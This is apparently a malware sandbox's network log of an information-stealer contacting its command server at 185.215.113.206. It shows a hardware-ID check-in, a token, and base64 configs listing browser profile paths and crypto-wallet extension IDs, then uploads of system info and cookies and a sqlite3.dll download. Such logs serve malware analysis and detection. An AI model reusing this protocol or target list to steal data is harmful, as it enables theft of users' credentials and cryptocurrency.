Oct 28, 2024 06:27:02.612174988 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 33 41 39 35 39 41 30 36 34 44 31 37 37 39 35 32 35 32 35 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="hwid"713A959A064D1779525253------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build"tale------DGCBAFIJDGHCAKECAEGC--
Oct 28, 2024 06:27:02.902306080 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 57 49 77 4d 57 46 6b 4d 7a 6b 35 5a 54 6b 32 4d 54 68 69 4e 54 63 35 5a 6d 46 6d 4d 6d 49 31 4e 54 59 30 59 54 4d 35 59 6a 67 35 4d 7a 56 68 4f 57 4d 31 59 54 4a 6b 4d 44 52 6d 4f 44 45 7a 4e 7a 4a 69 5a 6a 45 77 4f 44 4d 78 59 32 45 7a 4f 54 49 33 59 6a 56 68 4e 54 42 69 4f 54 41 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NWIwMWFkMzk5ZTk2MThiNTc5ZmFmMmI1NTY0YTM5Yjg5MzVhOWM1YTJkMDRmODEzNzJiZjEwODMxY2EzOTI3YjVhNTBiOTA4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 28, 2024 06:27:02.914433956 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJEGIIEGIDGIDHJDAKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 45 47 49 49 45 47 49 44 47 49 44 48 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 45 47 49 49 45 47 49 44 47 49 44 48 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 45 47 49 49 45 47 49 44 47 49 44 48 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------FHJEGIIEGIDGIDHJDAKFContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------FHJEGIIEGIDGIDHJDAKFContent-Disposition: form-data; name="message"browsers------FHJEGIIEGIDGIDHJDAKF--
Oct 28, 2024 06:27:03.194631100 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 28, 2024 06:27:03.194715023 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 28, 2024 06:27:03.199248075 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="message"plugins------EGDGIIJJECFIDHJJKKFC--
Oct 28, 2024 06:27:03.479693890 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 28, 2024 06:27:03.479720116 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 28, 2024 06:27:03.479743958 CET	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 28, 2024 06:27:03.479758024 CET	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Oct 28, 2024 06:27:03.479784966 CET	124	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWpl
Oct 28, 2024 06:27:03.479796886 CET	1236	IN	Data Raw: 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d Data Ascii: ZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB
Oct 28, 2024 06:27:03.479810953 CET	1236	IN	Data Raw: 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 Data Ascii: MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHx
Oct 28, 2024 06:27:03.479825974 CET	424	IN	Data Raw: 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d Data Ascii: YW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3w
Oct 28, 2024 06:27:03.480125904 CET	404	IN	Data Raw: 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 42 6c 62 6d 74 6d 59 6d 4a 77 62 57 Data Ascii: amxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmt
Oct 28, 2024 06:27:03.482817888 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="message"fplugins------KECBGCGCGIEGCBFHIIEB--
Oct 28, 2024 06:27:03.762362957 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 28, 2024 06:27:03.781477928 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 185.215.113.206 Content-Length: 6615 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 06:27:03.781533003 CET	6615	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 28, 2024 06:27:04.580113888 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:04.914129972 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 06:27:05.191705942 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49758	185.215.113.206	80	7468	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 06:27:17.067894936 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFB Host: 185.215.113.206 Content-Length: 2831 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 06:27:17.067933083 CET	2831	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 Data Ascii: ------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
